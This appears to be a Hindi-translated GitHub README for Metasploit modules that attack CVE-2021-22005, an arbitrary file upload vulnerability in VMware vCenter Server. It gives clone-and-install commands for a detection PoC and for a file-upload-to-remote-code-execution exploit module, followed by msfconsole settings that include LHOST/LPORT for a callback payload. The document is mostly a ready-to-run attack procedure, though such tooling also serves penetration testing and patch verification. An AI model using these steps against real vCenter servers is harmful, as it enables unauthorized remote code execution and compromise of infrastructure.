CVE-2021-22005-metasploit

CVE-2021-22005 VMware vCenter Server के बारे में मेटास्प्लॉइट स्क्रिप्ट (POC/EXP) जिसमें एक मनमाना फ़ाइल अपलोड कमजोरी है

POC तैयारी

git clone https://github.com/TaroballzChen/CVE-2021-22005-metasploit
cd CVE-2021-22005-metasploit
mkdir -p ~/.msf4/modules/auxiliary/scanner/http
cp vmware_vcenter_server_file_upload_poc.py ~/.msf4/modules/auxiliary/scanner/http/
chmod +x ~/.msf4/modules/auxiliary/scanner/http/vmware_vcenter_server_file_upload_poc.py
msfconsole

POC उपयोग

set rhost <vuln ip/host>
set port <vuln port>
set ssl <default: true for https>
exploit

परिणाम

स्क्रिप्ट एक हानिरहित jsp अपलोड करेगी जिसमें base64 द्वारा एन्कोडेड "Could be vuln by CVE-2021-22005" पाठ शामिल है

EXP तैयारी

git clone https://github.com/TaroballzChen/CVE-2021-22005-metasploit
cd CVE-2021-22005-metasploit
mkdir -p ~/.msf4/modules/exploits/linux/http
cp vmware_vcenter_server_file_upload_to_rce.py ~/.msf4/modules/exploits/linux/http/
chmod +x ~/.msf4/modules/exploits/linux/http/vmware_vcenter_server_file_upload_to_rce.py
msfconsole

एक्सप्लॉइट उपयोग

set target <target>
set PAYLOAD <payload>
set rhost <vuln ip>
set port <vuln port>
set LHOST <list host ip>
set LPORT <list port>
exploit

एक्सप्लॉइट

संदर्भ

• https://github.com/5gstudent/CVE-2021-22005-
• https://github.com/rwincey/CVE-2021-22005